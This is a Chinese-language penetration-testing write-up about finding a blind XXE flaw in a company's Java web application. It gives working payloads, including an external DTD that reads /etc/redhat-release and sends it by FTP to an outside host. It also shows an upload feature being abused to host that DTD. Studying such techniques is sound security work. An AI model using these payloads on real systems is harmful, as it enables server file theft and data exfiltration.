前言
各位大佬好!欢迎来到我的技术探险之旅。在这篇文章中,我将分享我在参与一个安全渗透测试服务项目时发现的一个XXE (XML External Entity)漏洞的研究过程。这次发现不仅展示了如何从一个简单的“无效 XML”错误信息出发,逐步利用 XXE 漏洞的多种创新方法。XXE漏洞作为一种经典的攻击方式,仍然是许多企业应用程序中潜在的安全隐患。通过本文,我希望能够为大家提供一些实用的技巧和经验,无论您是安全领域的初学者还是经验丰富的专业人士,我相信这篇文章都将为您提供有价值的见解。
信息收集
在例行的信息收集过程中,我在XXX公司的某个业务系统应用中发现了一些非常有趣的现象。当我提交的请求只返回“无效的XML”时,这引起了我的极大关注。我立即开始使用常用的XXE payload进行测试,但遗憾的是,我无法在页面上获取XML解析器的输出。
我首先检查了DOCTYPE定义是否启用。在Java Servlet应用中,通常可以选择关闭对自定义DOCTYPE的解析。幸运的是,在这个应用系统中,该功能是开启的。但我只看到了一条DNS 请求,而没有HTTP请求。我意识到这可能意味着外部实体攻击的存在。
首先构建payload
<?xml version="1.0" ?>
<!DOCTYPE root [
<!ENTITY % ext SYSTEM "http://k8tm8ep85umg95uxhsehjpayqpwfk4.burpcollaborator.net/x"> %ext;
]>
<r></r>
如果一切正常,服务器应该会进行DNS解析,并向我的burp发送 HTTP 请求,但最终只收到了DNS请求。
漏洞利用
考虑到现状,很容易推测目标可能有安全防火墙。为了进一步分析,我决定暂时放下这个问题
我发现系统另一处有个文件上传功能进行尝试,幸运的是这个上传功能允许任意人上传文档,包括 pdf、txt、docx 等文件,这让我可以通过简单的 GET 请求临时访问。如果 XML 解析器信任 *.company.com 的内容,服务器就会成功地获取我自己定义的 DTD。
因此,我上传了一个自定义的 DTD 文件,该文件声明了一个包含任意内容的变量,接下来我将尝试提取该内容。由于我不能通过 HTTP 请求获取外部内容,所以我的第一步是尝试通过 FTP 提取,使用一个用Go编写的xxeserv。
external.dtd
<!ENTITY % payload SYSTEM "file:///etc/redhat-release">
<!ENTITY % int "<!ENTITY % trick SYSTEM 'ftp://bbounty.f4d3.io:23/%payload;'>">
%int;
%trick;